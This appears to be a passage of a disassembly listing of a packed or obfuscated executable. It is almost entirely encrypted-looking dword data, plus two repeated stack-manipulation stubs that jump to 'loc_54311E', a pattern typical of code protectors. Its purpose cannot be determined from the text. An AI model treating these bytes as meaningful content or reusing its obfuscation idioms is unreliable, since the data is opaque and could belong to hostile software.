0E152F4AEh, 50DB35Dh, 0F375151Dh dd 815B0166h, 0B3AA0CEFh, 0DAEA050Dh, 53AD2C0Ah, 0A6861305h dd 63DC06F0h, 50DB3DBh, 22B0AB9Bh, 95CF23CAh, 8A90B5B2h dd 0DE7E342h, 8EE4677Dh, 954890D8h, 358FD7BDh, 97D517E5h dd 54E0EB5Ch, 184CA9B4h, 393EF42h, 0C9388551h, 82428ADAh dd 89DF35A4h, 664E148Fh, 33197ED3h, 7CC181C5h, 302D3563h dd 488A8CD2h, 4DCB91F1h, 98F44919h, 0ACA048CEh, 0DC5FF148h dd 50D7D5Ah, 907A2A1Ah, 0AFDB1FC3h, 14AA952Fh, 54050D67h dd 8CA3BC6Ch, 0A1000000h, 791341A2h, 6C3195F3h, 15B597AEh dd 868C113h, 6141D046h, 0CE53F33Bh, 23BEB8EEh, 38999FC1h dd 0B8C8ADCh, 0E140654Fh, 79BB815Bh, 0DDDA20FFh, 68348A89h dd 4C74050Dh, 9A74789Ch, 4E83EBB9h, 0A031276Dh, 0D71B1D43h dd 4116F9F3h, 0E8AFDB0Ch, 78h, 2C04E56Ch, 7A57AA7Ah, 4DA9282Eh dd 0A3801107h, 0D78D7BFDh, 4A22BE98h, 7E20001Dh, 1E96EAF8h dd 90647E99h, 0AFB79DFEh, 683E14F5h, 5CB260EEh, 0EA866557h dd 0A278E2A2h, 0A5261046h, 50DCB14h, 0A99729E3h, 2DFFED16h dd 9D211277h, 0DD050D97h, 0DBD135D5h, 0DAC70F74h, 706DD3AFh dd 0E2C7056Fh, 0D88CE578h, 0E3708h, 7B1D0000h, 0DEA46F8h dd 5A0E6705h, 14CE9EA6h, 7E1442A2h, 4DE82E3h, 0DCB833Bh dd 53F3C305h, 386E44D5h, 6448503Eh, 94FCAA8Ah, 0A98E184Eh dd 8E1BBE3h, 0B40AF529h, 0F4050DCBh, 149284CCh, 0CCE2292Bh dd 313F67A3h, 12DB9342h, 0FB81411Bh, 3432D378h, 9AF4550Fh dd 4137BC0Ah, 0F43C4803h, 9E98A854h, 157D2303h, 1E44A2BFh dd 0A1BC6C18h, 8AE8941h, 48030A8Dh, 5266F678h, 6D47D62Fh dd 0B6926F25h, 6E3E76E0h, 7AD1788h, 0A672030Ah, 0CCBC4958h dd 0E5A5C49Eh, 13730BE1h, 63DA5CDFh, 0AA9A030Ah, 0EFC71A62h dd 0C422BFB9h, 5B3F989Eh, 2659B951h, 0E569EC4h, 0E212DFA4h dd 125A6B5h, 0E8820000h, 0A57B70Fh, 1FCFF703h, 5617E565h dd 70FEDBC3h, 0A9BF9535h, 43BC560Ch, 50D53FBh, 0B3968BBBh dd 94673DEDh, 0F346CD3h, 84150333h, 0CF22F8AEh, 0F2B2A4F4h dd 0CF273A52h, 24029F99h, 7B1FF87Eh, 0D3B99971h, 0F862218Bh dd 4E29B5E1h, 2F000000h, 6D277C95h, 0DCBDC92h, 0F7401A05h dd 50DCB4Fh, 0FB67270Fh, 6CD24DCBh, 4D050DCBh, 0A8292F75h dd 54100648h, 45B399F9h, 91169EF8h, 62258FEBh, 999A3067h dd 50DCBD5h, 0DC46CB35h, 0D3F47CEBh, 3F18F1ABh, 4051B969h dd 87h, 267F95F8h, 963E936Ch, 969E0F34h, 5ED131A0h, 84EC147Ah dd 35236949h, 0AFA03BAh, 0E6CE2403h, 683E14h, 0E5AB78Ah dd 868C5C08h, 0FE791340h, 938BB45h, 0E8B8DB5h, 65F46228h dd 42DF590Fh, 2C43260h, 57B9FEF6h, 0A0A66943h, 0ED8759F3h dd 4B8AC12h, 0E802EC05h, 9A2E9DB1h, 0D023F921h, 504B56Eh dd 0E546062Eh, 0F36F72Ch, 5B0D67FAh, 0F400B681h, 7040030Ah dd 4E042CD0h, 0F4F34BB4h, 83B3030Ah, 95318BC3h, 936C267Fh dd 0F3F8956h, 39989EA6h, 0F66B73D9h, 56021F90h, 0FA7CA4E0h dd 1F6B3801h, 5B513519h, 0E4D376C4h, 234A3056h, 0D2B89E63h dd 297F578Ah, 9D55B22Fh, 0EF2D1CA2h, 2C545C16h, 0E9BF9B76h dd 49513F39h, 0E5AB8B63h, 3C62409Dh, 18A33Ah, 73F90000h dd 0C37F39AAh, 2AD0700Fh, 6542DF79h, 354740F9h, 38602CDFh dd 4BA2F268h, 58BE1B1Dh, 0B99504F2h, 95EC6DEBh, 0EBC455C3h dd 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh, 163FE78h, 5032D95Fh dd 405E089h, 57000000h, 4BFh, 5FF82900h, 5C240487h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 53240489h dd 0C381E389h, 4, 8704EB83h, 895C241Ch, 5155241Ch, 6910D1B9h dd 0C1814963h, 4FC11B8h, 635AF181h, 0CD896E6Bh, 5DE88959h dd 241C8B54h, 4C481h, 56520000h, 0F289C689h, 853895Eh dd 241C8B5Ah, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5724048Bh dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF93652h, 92B8980Dh dd 3060E46h, 0DAE0FFC5h, 7640F64Bh, 5F2EF7F1h, 0A46CB884h dd 0B8442A52h, 0EB50641Dh, 1BF36C04h, 61DE94Ah, 9CF30000h dd 4BA9A4CCh, 460FD05h, 0FED70A52h, 0B28F42AAh, 37F9EE6h dd 89D187E0h, 0C32B7D54h, 1E662C0Eh, 55BDE3C3h, 59DD5EFAh dd 1903038Ch, 43E53389h, 0DCB4EF0h, 77CF2805h, 37050DCBh dd 8343730Fh, 4F258BEh, 84ECB895h, 338B740Eh, 73050DCBh dd 58BE8343h, 0BD9504F2h, 367E2402h, 37A7BD9Ch, 7C3FE46Ah dd 0EBBBE368h, 1476CB0Dh, 60D6BA9Bh, 4A7AFC24h, 69AD879Ah dd 0DAE288Eh, 792F0905h, 8BC67B85h, 96A0C94Bh, 8D30266Eh dd 0EBCBA309h, 0A6805DA5h, 962D9162h, 456D050Dh, 3E18F51Dh dd 1073EE68h, 0A0B8D640h, 0D750B24Ch, 0F9ADABFDh, 5EB4A9B1h dd 2C8D0E08h, 0DB050D96h, 0FE235BFh, 2FA56533h, 0AFDAC868h dd 782Fh, 4E53500h, 0CAFA7C2Ah, 792F071Ah, 0CBB87CFFh dd 2F4B050Dh, 6B0542C5h, 18CAFDAh, 48000000h, 0EDC546A2h dd 0CB74CA35h, 0C34050Dh, 781252C4h, 0DCB47FFh, 0F73F0705h dd 1A7AD701h, 0CA9ACA4Ch, 0CD4B1D77h, 3721774Ch, 0D6A80C86h dd 0CE44ACF2h, 0B9951073h, 0F1396DEBh, 0B151071Ch, 0A19256ACh dd 50DCB1Dh, 772D555Dh, 0FE79B99Ah, 50DCB38h, 0D004878h dd 0ACA46430h, 1341A2D6h, 0D284E079h, 4FA53432h, 0A5821F19h dd 0B99879FFh, 0F97F2502h, 9385CDh, 0FE555A52h, 0BDEBC75Ah dd 6B03E9EDh, 0A9805A0Eh, 5511074Dh, 79C75DB5h, 0A288E65h dd 40B36992h, 50D3BFEh, 4BD676BEh, 0C096F06Bh, 60D61E56h dd 9B231CB6h, 0DB050D3Bh, 4C1276EBh, 37A7819Ch, 0C56901A0h dd 0F066AE91h, 0B9A01408h, 0AFDB20EAh, 3D817214h, 7D050D66h dd 0D48A9535h, 6E000000h, 491F75D4h, 0D6674CAh, 0F9D93405h dd 0B9E1A593h, 41A273E9h, 58B42513h, 0AC89080Eh, 81E37EF8h dd 4BAF59DFh, 57ED5C61h, 40B69CFAh, 0AC004404h, 85EB495h dd 0EFCB460Eh, 57F7BFB9h, 0E1BBE9CAh, 0E21EE14Fh, 0A4278F87h dd 0D680FB7h, 85CB2E05h, 0C109D9E9h, 0C096F64Bh, 0FB441E56h dd 50D6843h, 8E933303h, 0A771E7ADh, 31276D4Ah, 6B48D575h dd 0CBCF3325h, 0C297EE1h, 7790AFDBh, 74000000h, 52DD61D2h dd 959D050Dh, 41A20FF5h, 84E07913h, 0A53432D2h, 2AEECE49h dd 0DCB75C9h, 0C50D3505h, 6DEB1353h, 52C492ECh, 0B8BEEAC7h dd 6B31110Ch, 76C82BEDh, 36050DCBh, 0B83C440Eh, 268EE4F3h dd 73D93E13h, 276D4ED3h, 0A2F745DFh, 19DE67C8h, 0A22FD575h dd 0A5261046h, 50DCB14h, 8F89DF35h, 0F4623012h, 0E9CE2632h dd 0F55C50A2h, 0AFDA6B8Eh, 115h, 42A2D300h, 13F07E14h dd 0A9AFEAB6h, 0F762C484h, 214FC99Fh, 8E7CD3D9h, 0D0FD5428h dd 2D735672h, 6ACC2FE5h, 2A050DE4h, 99F74A1Ah, 0DF3415CFh dd 7C78F89h, 762F25CFh, 0DFCE63DCh, 466E0F34h, 157AD8Ch dd 1C7AE741h, 95DD83E3h, 510762FFh, 97FFAFE7h, 83E31C7Ah dd 28A395DDh, 30AFC94h, 0ED7D774Bh, 0AAA7CF95h, 8110064Ch dd 9C7DFBA1h, 42F44783h, 2030AFCh, 8D0C0A32h, 1E75E3B1h dd 100BB004h, 65D95AFCh, 25030AFCh, 0A3094D1Dh, 0EFA5EBCBh dd 0F2643212h, 10FA12B2h, 0B5E1A233h, 624B1BFh, 51C78DEAh dd 821A2B15h, 0BFDCFAFFh, 6E96B7A9h, 16BA1BEh, 0AA870000h dd 571F194Fh, 7F95CDB7h, 0DA936C26h, 3A0F34F4h, 0DE279F98h dd 5F67030Ah, 849C7D17h, 0A53432D2h, 62FF074Dh, 79D85E04h dd 52C53319h, 0A31BE4BEh, 0E3030ADEh, 0DE40F641h, 3000030Ah dd 0B83C5808h, 729AC026h, 0E180ABE8h, 0AF9D37B5h, 3BD1DE48h dd 0AF17044Ch, 0EF030A62h, 773807C7h, 3C000000h, 4EF043E5h dd 6F050DCBh, 9AAA4612h, 0C00140CAh, 0D0430969h, 50DCB6Eh dd 0CB972F08h, 0EFD7050Dh, 21FB2313h, 0DCB90D6h, 9AFB5605h dd 440440B6h, 0CF2A898h, 8FA81AD5h, 6E0A050h, 0DE63185h dd 0EB8D4705h, 0DE6B608h, 1ECEF605h, 0C25FF2FAh, 145B3E1h dd 0D99ECB41h, 0E67E3003h, 969E050Dh, 1B75D44Eh, 61D7B998h dd 460FD25h, 0E0A0E452h, 94E1h, 7F951B00h, 48CE92F3h, 3D3ED41Ch dd 0F34966Ch, 0A072E4CCh, 35236949h, 731D8F71h, 9A77A9E4h dd 491F77CAh, 3FD16B21h, 0A3E7A3Ch, 90A3A03h, 30A3EB5h dd 40B1A987h, 0B34FF920h, 292F7556h, 8895357Dh, 0F972E4AAh dd 30AD742h, 90A70D65h, 0E085CB9h, 0A5EBCB46h, 0CE53F3B3h dd 4D1B77E8h, 0B4A2F4D0h, 9AA0C8F0h, 9B24D14Ch, 0AD93E8F9h dd 0BAA43B9Bh, 0B331000h, 0EEACE651h, 545C0938h, 491F77E2h dd 5359A1CFh, 471D468Ch, 36A9BEF4h, 1E664E0Fh, 267F95A4h dd 0E1B78D6Ch, 0D56F3F77h, 3F82286Ah, 32E8D80Fh, 0A593C5DFh dd 42146CE1h, 0DD35A482h, 94F26F77h, 8D748CEh, 0B9CF284Dh dd 0E940D7DDh, 0C25FD98Fh, 242B4E2h, 0DF370ADAh, 45AB6189h dd 350AD5A3h, 0F74A1A62h, 12D55B9Fh, 0EA769BE7h, 0DB87EFDh dd 0BA994F16h, 0BFB81AD6h, 4F160D07h, 0F377F47h, 0E5AB8809h dd 4DB31573h, 83955100h, 59DD5E9Ch, 194F16B1h, 2521E129h dd 71273FCFh, 0C89EF469h, 0D2F4Eh, 79550000h, 843A05DFh dd 0C4050DCBh, 0A2B62CFCh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh dd 32D95F01h, 5E08950h, 4, 5004E883h, 42474FFh, 24048F58h dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68241C89h dd 6A07h, 68243C89h, 60E4751h, 83241C8Bh, 0D66804C4h, 89000021h dd 4812424h, 424h, 0EC835F00h, 240C8904h, 8B9h, 89F90100h dd 34FF5919h, 0C4815F24h, 4 db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dd 61953608h, 0B8CC68D2h, 60E4CE7h, 0E0FFC503h, 3C946C5Fh dd 16E50AFCh, 1ED4379Ah, 301E9C5Bh, 78DC610Bh, 3C4D116Bh dd 70DE861Ch, 48929598h, 5D45A5Bh, 7208DBB1h, 284313BFh dd 46AF0513h, 68ECF062h, 12AB021Dh, 5234D7A7h, 4EE48D8Dh dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0D7B8ECC3h, 0E9783D39h, 0Bh, 41504E64h, 0CA01C13h dd 893D0826h, 71B418Dh, 0B99D8906h, 89060707h, 701D58Dh dd 585C706h, 18060706h, 6A000065h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0AE64C352h dd 45B58BFBh, 0C706072Bh, 7006985h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 4FE3BBAFh, 989116E1h, 0DE8B6h, 0B4C00000h, 60E70F41h dd 16F486C6h, 5107E62Eh, 1C499D8Bh, 5B5F0607h, 0C810Fh dd 800F0000h, 6, 820Fh, 0B5FF0000h, 6072B21h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 36C35141h, 0DAAED532h dd 0E195FFDCh, 6A060701h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 67C0C356h, 0B0D3C5Ah dd 0B32479F5h, 1981BD09h, 6A0607h, 320195FFh, 0C08B0607h dd 0F19D7DEBh, 0A40B5632h, 7A6346E4h, 5E53D14h, 752FCD7h dd 0F57198E2h, 0C3191027h, 0FD4A9158h, 0AC862EF6h, 0A09E05D2h dd 9374723Eh, 900F3417h, 0D79F70A0h, 0FBFEB5D6h, 57FDC5E9h dd 0CF97CD96h, 0E379EAA3h, 529F4505h, 3554C198h, 59662652h dd 551BC3A2h, 42D5BECCh, 451DC80Ch, 48066027h, 0EC7BC9B4h dd 375C3058h, 0A186EDCBh, 13ED4646h, 4EAFC768h, 0AD3BE069h dd 0BD22589Eh, 0EBAA4B25h, 0DFB8BF04h, 5E3E96Ch, 0FCD30000h dd 0AB8944ACh, 64409DE5h, 0DE372A32h, 92EF628Ah, 0E39FBEC6h dd 0A9B1E7C0h, 0E30B5DB4h, 3E460C6Eh, 759DC323h, 793D3EDAh dd 39030384h, 44A2D3A9h, 0B1A7E9CBh, 0CE4BCDF5h, 825FA7EDh dd 0D624FEA4h, 67FED42Bh, 49ED4E91h, 9050D86h, 0D751F139h dd 79E06C4Ah, 2DFC2C04h, 0FB1D1B43h, 5960D621h, 1020050Dh dd 0C197ED70h, 8ECE657h, 224A1076h, 5B7D8268h, 0B13B9224h dd 64320C11h, 0BFE5C11Ch, 792F04E5h, 7D5AB7FFh, 0A5652117h dd 0ADF3D643h, 0EFC5DDABh, 0BDE3C158h, 0B53610EDh, 3D14095Fh dd 41DB236Bh, 0CAEA4CAFh, 9AAA050Dh, 491F77CAh, 0F45ABE93h dd 0E059D254h, 17050DCAh, 2166E9C3h, 0ADAFDA6Ch, 3E96280Bh dd 28D6FAF2h, 28445BB1h, 0FDF07D1h, 7530h, 17E53400h, 2D7E75ABh dd 0EF7212F4h, 5EE05397h, 1E050D51h, 0AE68EE16h, 282E7253h dd 0F54FAC7Ch, 6050D51h, 0C821F8FCh, 62E8B8EEh, 0AFDB0525h dd 1ECh, 46A26800h, 75BDEBC5h, 0AA321683h, 0C6A314DAh dd 0C3357D93h, 2D2B7156h, 15E6B880h, 50D1AA1h, 0D531D1E1h dd 63350FDFh, 922417A9h, 0D2050D1Ah, 372A22E2h, 39D389DFh dd 0D1A783Eh, 58083805h, 41A2BA30h, 5CB42513h, 0CF8B0C0Ah dd 6C3815E5h, 0BF48E04h, 50DCBB3h, 3E03C3F3h, 158472D8h dd 0F658B83Bh, 461C4400h, 0CBEB53ACh, 9BAB050Dh, 81856DCBh dd 8172142Bh, 50DCB3Dh, 0F0B5290Fh, 0D89438CBh, 55238E8h dd 0E9AFDB3Eh, 29B48003h, 4404D92Bh, 95FBh, 41A27900h dd 0DBF37913h, 0F3A1BD4Eh, 0DB9C780Dh, 51EB2D0Bh, 0DB050E6h dd 60201005h, 63D5839Dh, 48CE94F6h, 0B1A7EDC9h, 0A638BC26h dd 52D31B41h, 57A57C70h, 6EF527FCh, 0CC51F1FFh, 805DA5F3h dd 9A07F1A7h, 44FA45BDh, 4050D8Eh, 0FE02F43Ch, 580F129Ah dd 0FFAFDAAEh, 64h, 0DB17E505h, 0CC9FAEEAh, 3C19E4A4h dd 0D534EE68h, 0FAAAACF8h, 0ADFBD72Ah, 340809F7h, 0D1B87EF9h dd 0C8F8050Dh, 0E1014E46h, 4AA0C721h, 6BAF8862h, 0D943688h dd 64E7605h, 17E504FEh, 9C02F68Fh, 0A17B7DFh, 7DFE782Eh dd 50D0DBCh, 42C52F4Bh, 0AFDB3105h, 0B8Ch, 65D66800h, 50D71D1h dd 7BE1A191h, 221442A2h, 693F19F0h, 184EA4B9h, 8468701Eh dd 0B4DC8AEAh, 7127031Eh, 351FCF87h, 73CC86DFh, 0F34F0DEh dd 51C0367Eh, 49C32B71h, 0F7A412E3h, 0AE7E66F1h, 2B2D7353h dd 0AAF0CB0h, 98CC2903h, 7F21039Eh, 2488E2F9h, 8A62789Fh dd 0A4CC92F0h, 0A69149A9h, 30AAF10h, 3E386050h, 0EEC843A3h dd 0C223BEB8h, 742E569Eh, 0C61A4086h, 8C4EB0E6h, 3137D7B2h dd 26B83CA6h, 0E8729AC0h, 0B5E19CABh, 1A872h, 7F95F600h dd 6B9E6C26h, 12712EABh, 738ADC08h, 8B3BE88Dh, 713601DBh dd 0B70F34EEh, 42D7149h, 2AFA9249h, 9888EB6h, 50A96329h dd 0C99FFA71h, 59DF074Fh, 0F8157D2Dh, 0D742B49Ah, 86383BFFh dd 0C6030A3Ah, 0D740B6FEh, 3B162983h, 0D98D8BDDh, 88DE3409h dd 873F38D2h, 0C7030A3Ah, 5D272FFFh, 0B5E25BF6h, 61D526F8h dd 21030A2Eh, 72EE7111h, 6A000000h, 0EA2E04E5h, 0DCBB509h dd 85CDF505h, 1933D393h, 6F1ABC8h, 50DCB40h, 1B4DAB86h dd 0C5B9691Dh, 0EB8D27FDh, 0DCBB608h, 4DCEF605h, 50DCBE9h dd 6FC999A9h, 0DCB4AECh, 879A3C05h, 9879FFA9h, 2363D5BBh dd 0C52F2BFBh, 0FA90C702h, 0DCB3579h, 37EDD505h, 0F8A8FEDAh dd 97603A90h, 50DCB2Fh, 0CB48EE49h, 3808050Dh, 0ADAC7C44h dd 0C5h, 2E04E5D7h, 64E1BDBEh, 8BB39A9Ch, 841371DBh, 6FB5F9DCh dd 12C8F0C2h, 8771273Fh, 237152CFh, 0BD17135h, 34BE8328h dd 7913230Fh, 396F4AA7h, 0AD1843Ah, 2CFCC403h, 0F4774FCAh dd 1C48CE98h, 3B168CD4h, 47DA8ADEh, 0E53F396Fh, 0AD7D2B04h dd 0AD2EF4Eh, 0FAF2C803h, 0AF43D927h, 0E34B50CAh, 92F8DE23h dd 0F1A2A04Ah, 0BFE5C65Bh, 0C8EA55EFh, 5E0938F0h, 0CE03BB84h dd 73430504h, 11072FD3h, 6CD22DC7h, 2C0504CEh, 99F94404h dd 0D95F0566h, 254B0ADh, 2A0E5CDAh, 0B6926FC2h, 0CE3D8172h dd 357D0504h, 91F75D0Dh, 0D2740EC4h, 4CEDD61h, 0F5959D05h dd 36BF5C76h, 0BCC4EC0Fh, 0AD280BE6h, 7C70F55h, 267F955Dh dd 81129E6Ch, 0E3F748Bh, 0B0F46228h, 0EFF08688h, 1F55E85h dd 9AB8BB41h, 2A0F3F0Bh, 8DE9401Ah, 0F72107C7h, 355CE25Dh dd 647D0303h, 0F28EC630h, 273F02C2h, 5EB36971h, 61251379h dd 10465CA1h, 74EEF47Ah, 0CA2030A3h, 0AE7EA6ECh, 5845D748h dd 1A7CEC75h, 0B49AF892h, 7F21031Eh, 0F51DCDF9h, 0BE543A18h dd 4DF142E4h, 0D69D2A2h, 0A2803625h, 0F0C069D2h, 6A4BD650h dd 0E65195F3h, 69D2A250h, 0B0F82010h, 936E2846h, 3074E2B6h dd 0EE807490h, 0A7BAC288h, 7E1F194Fh, 3, 0A2FF79FAh, 0BE1B1D4Bh dd 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh dd 0E8B8DD3h, 63FE782Eh, 32D95F01h, 81E78957h, 4C7h, 4EF8300h dd 5C243C87h, 56240489h, 0C681E689h, 4, 4EE81h, 34870000h dd 1C895C24h, 11E16824h, 14890000h, 4F716824h, 1C8B060Eh dd 4C48324h, 8904EC83h, 4832424h, 515A0424h, 8B9h, 2C18100h dd 14E326Dh, 2E981D1h, 894E326Dh, 34FF5919h, 0C4835A24h dd 241C8B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0F92831E9h dd 87F8CBFFh, 0EBD625D6h, 274FF94Fh, 54CBB86Ah, 0C503060Eh dd 0A620E0FFh, 2EB7213Fh, 2FC5CFBh dd 1FB215E9h, 0AEA142EDh, 0C6BA5707h, 0B69170B3h, 0F8B449EEh dd 35E05816h, 459C1FE1h, 0A32E7DC2h, 4F4C45FEh, 29F0AC5h dd 0A513693Fh, 0D0424C24h, 0D56A1C29h, 43376ABh, 59AB3976h dd 12E8605Dh, 0A5000000h, 68488ADDh, 1EE4BCA2h, 25B07523h dd 0C098ABC0h, 0C0BA66E4h, 81F5599Eh, 5E46C1h, 0B1D78000h dd 177468h, 2FD28000h, 0F3816658h, 31FF0DF0h, 5FD5F780h dd 58A0Fh, 15BB0000h, 817EF8D7h, 6B6790EFh, 81D38B15h dd 771CF5C7h, 4AE3812Bh, 813FADBEh, 6108F0F7h, 5DF38034h dd 8D0F3989h, 2, 0E98349B2h, 0EE816604h, 0F487091h, 0FFFFB985h dd 59BA66FFh, 9F8D8DD3h, 9060E56h, 709A1B5h, 418D8906h dd 8006071Bh, 85C78FF4h, 6070605h, 6A54h, 2FD59589h, 85C70607h dd 6070069h, 0 dd 98A0Fh, 66600000h, 0BC5DEE81h, 0FF61E4B6h, 72C11B5h dd 0C1B58B06h, 0FF06071Dh, 701E195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 54A250D9h dd 5609131Ch, 0FF006A90h, 7320195h, 0EBC08B06h, 826ED209h dd 0E571285Eh, 4EBA501h, 2ABF9A55h, 4CFE9h, 55331A00h dd 0AEF0D00Dh, 0FBAD8B46h, 33197E93h, 8FD5362Bh, 79CD667h dd 0FB167E2Ah, 0ADA0C898h, 66FB0351h, 9D325A00h, 9DC678FBh dd 1E860303h, 0F043E5A4h, 50DCB4Eh, 0AE42166Fh, 0E5AB8B86h dd 94FAD825h, 8EDA37A2h, 0C58BEB66h, 0BAE0C653h, 91C7DDBCh dd 0F61A75FBh, 7578EED3h, 0E8EA53D5h, 0F7CC2D04h, 61CE1A1h dd 0F9D50850h, 0AC8E43ABh, 82E170E6h, 0CE2504DEh, 0D3972F08h dd 0EFD7050Dh, 55F5B1A7h, 3E6446D3h, 177D5938h, 0C82CB621h dd 468ED436h, 32CC2038h, 2D7B57D0h, 0AA952FE5h, 50DD314h dd 54BC6C54h, 5F359B9h, 0DD3318Ah, 38BCC605h, 0DA8372D1h dd 6639AFh, 0A23F0000h, 0A7181E44h, 50DCB1Dh, 92094EEh dd 4366DE23h, 56F6DD59h, 0DB4ED7BCh, 15EAFh, 0A29A0000h dd 0BB261046h, 9001F759h, 0C26BEDB3h, 0E35BA47Eh, 0A3050DCBh dd 0E3552A55h, 0F139510Ah, 0B252041Ch, 76CB5E56h, 809D4D13h dd 0C524FEA0h, 9BDBBE9h, 0EA6C3A14h, 6FE2EABAh, 0DE60D317h dd 9E050D45h, 0AC066E96h, 0E4C641A2h, 6EDC76BEh, 4704757Dh dd 4076F8CFh, 0A437351Ah, 43DE5808h, 5E393F61h, 0FDDEB004h dd 0B4924F97h, 8FE968EEh, 0B7AB5FD9h, 748DDA3Dh, 7E34AFDAh dd 30000000h, 3D541A2h, 0D95DDE1Dh, 99050DD7h, 512EA7A9h dd 0B95BDD05h, 721244A0h, 51C791EFh, 0B9BFE1C0h, 0A395FBD8h dd 8F34B81Ah, 3ED024BEh, 0F26F77DDh, 8355C391h, 140248AEh dd 83CBEE50h, 52000D6Eh, 256AFB2h, 4E8EC14h, 0DB2F461Dh dd 42EDAFh, 0E56B0000h, 3EDA6B17h, 0C99952A6h, 28B1B74h dd 704D97C6h, 0FD5CDA02h, 2E45B3E1h, 0F049E0D4h, 1B4BCD93h dd 1A95F64Bh, 0DC246C3Ah, 1046A266h, 0CB14A526h, 97E3050Dh dd 6B5D3A1Dh, 124AFDAh, 20000000h, 7A2C04E5h, 518C8FCh dd 1EFB7D2Bh, 86E45238h, 44A03AB2h, 72BAEEC7h, 0D182C06Ah dd 0F093383Bh, 3330F34h, 0F8AE8415h, 3F657D90h, 0D3F24639h dd 0D52D030Ah, 61370FDFh, 7EEEC419h, 6F4701ADh, 89773F39h dd 0C20AB869h, 0A7EDC554h, 49C220B1h, 7AFC2468h, 62D4849Fh dd 0B0F5FFDBh, 25B53F5Bh, 0D20D41CDh, 1E7387F0h, 0F57B40C8h dd 938EB9C5h, 0EDA7EFB1h, 0F365330Ch, 11FB13B3h, 0B5E22332h dd 0C0435DBCh, 8177BFE1h, 153A05C5h, 3E000001h, 6C267F95h dd 34F4DA93h, 0C0A3A0Fh, 87EFB58Dh, 30266C4Ah, 1D1B41A1h dd 7DD4D8BAh, 0DEE658DBh, 9EA6030Ah, 4D1373CEh, 0C5ABA97h dd 428A5A0Ah, 0E1809BF8h, 5A62B5h, 95E60000h, 0CB6D277Ch dd 0CB70C631h, 2516050Dh, 50DCB91h, 250DE1D1h, 9E98CE28h dd 713536D6h, 91050DCBh, 8234B7A1h, 0F4050DCBh, 0D83108ECh dd 0E5A197F9h, 0BDFAEF25h, 0CB5214E7h, 82B2050Dh, 5BDE62C8h dd 0D7B6647h, 8D24355Dh, 7C000000h, 6BD5839Dh, 0D29218FFh dd 17CD9D18h, 6C267F95h, 34963E93h, 0FC969E0Fh, 0E91AB0Eh dd 8D82B7Bh, 0D53B32Eh, 440A68E5h, 0E0E259D2h, 0EDC5030Ah dd 491F7707h, 13856B21h, 7CABFA19h, 3452F8A8h, 0A34AB56Fh dd 1F093832h, 9F72117h, 8D5DA4B8h, 0B16B6ACh, 95F3652Bh dd 94FADE33h, 751C90F4h, 0EA8C461Fh, 0D85FE750h, 171F0504h dd 5571C029h, 36D6915Dh, 36CAD635h, 49AA4C0Fh, 30AE5F5h dd 21DD8DB5h, 0FE53C911h, 6913B399h, 4EF043E5h, 0E050DCBh dd 0CBF34BB4h, 83B3050Dh, 43818B5Bh, 55A67812h, 50DCBE1h dd 2BF191A1h, 0F882AB91h, 0BFA5B017h, 5BFD0CEFh, 8A670F3Fh dd 0D22DE7ADh, 303746Ch, 9844042Ch, 0D333AEA8h, 8AE8658Dh dd 0A98052C4h, 0A1F7CD4Ch, 41B7FFB7h, 2DE64505h, 902E54B6h dd 0B507A288h, 5D60E2FAh, 8B63498Dh, 409DE5ABh, 0E94DAE62h dd 0A92FB275h, 7AE75199h, 50C1371Dh, 0AE2B2D73h, 0C012044Ah dd 0B275CF77h, 0ACA78F2Fh, 97F9BE36h, 71512983h, 0F049C32Bh dd 3C01C197h, 0E7867026h, 3, 0A2FF791Dh, 0BE1B1D4Bh, 9504F258h dd 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h dd 63FE782Eh, 32D95F01h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h dd 89562424h, 4C681E6h, 81000000h, 4EEh, 24348700h, 2434895Ch dd 7D2E68h, 243C8900h, 0E56B868h, 24348B06h, 4C481h, 8B540000h dd 0C481243Ch, 4, 3D1068h, 24348900h, 0FF08478Fh, 835F2434h dd 348B04C4h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- dw 0BAEBh dd 0E5B13B8h, 0FFC50306h, 0D75C71E0h, 0D95DB12Ah, 8159F55Fh dd 10EB33h, 3 dup(0) dd 8B000000h, 1860FC0h, 0F9000000h, 3101BD83h, 75000607h dd 55BD8309h, 6070Ah, 53501974h, 2DB8C08Bh, 89000004h dd 72BAD85h, 0F29D8D06h, 0FF0609B3h, 83585BD3h, 70A55BDh dd 17740006h, 2DB85350h, 89000004h, 72BAD85h, 0E19D8D06h dd 0FF0609B0h, 89585BD3h, 701899Dh, 0E9D08B06h, 13h, 0F70187B9h dd 0CA14398Ch, 0E17A7E30h, 1A1279DBh, 8B5FADE2h, 0D68166C0h dd 8D8BBC78h, 6070BB5h, 1B59B58Bh, 3BE0607h, 83508DC4h dd 840F00F9h, 0C6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 1DC35747h, 0B5338695h, 6072299h, 0E343DA81h dd 8B6455A7h, 2C3Dh, 3810F00h, 80000000h, 0FF0BD9DEh, 84840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0C245B6C3h, 800282EAh, 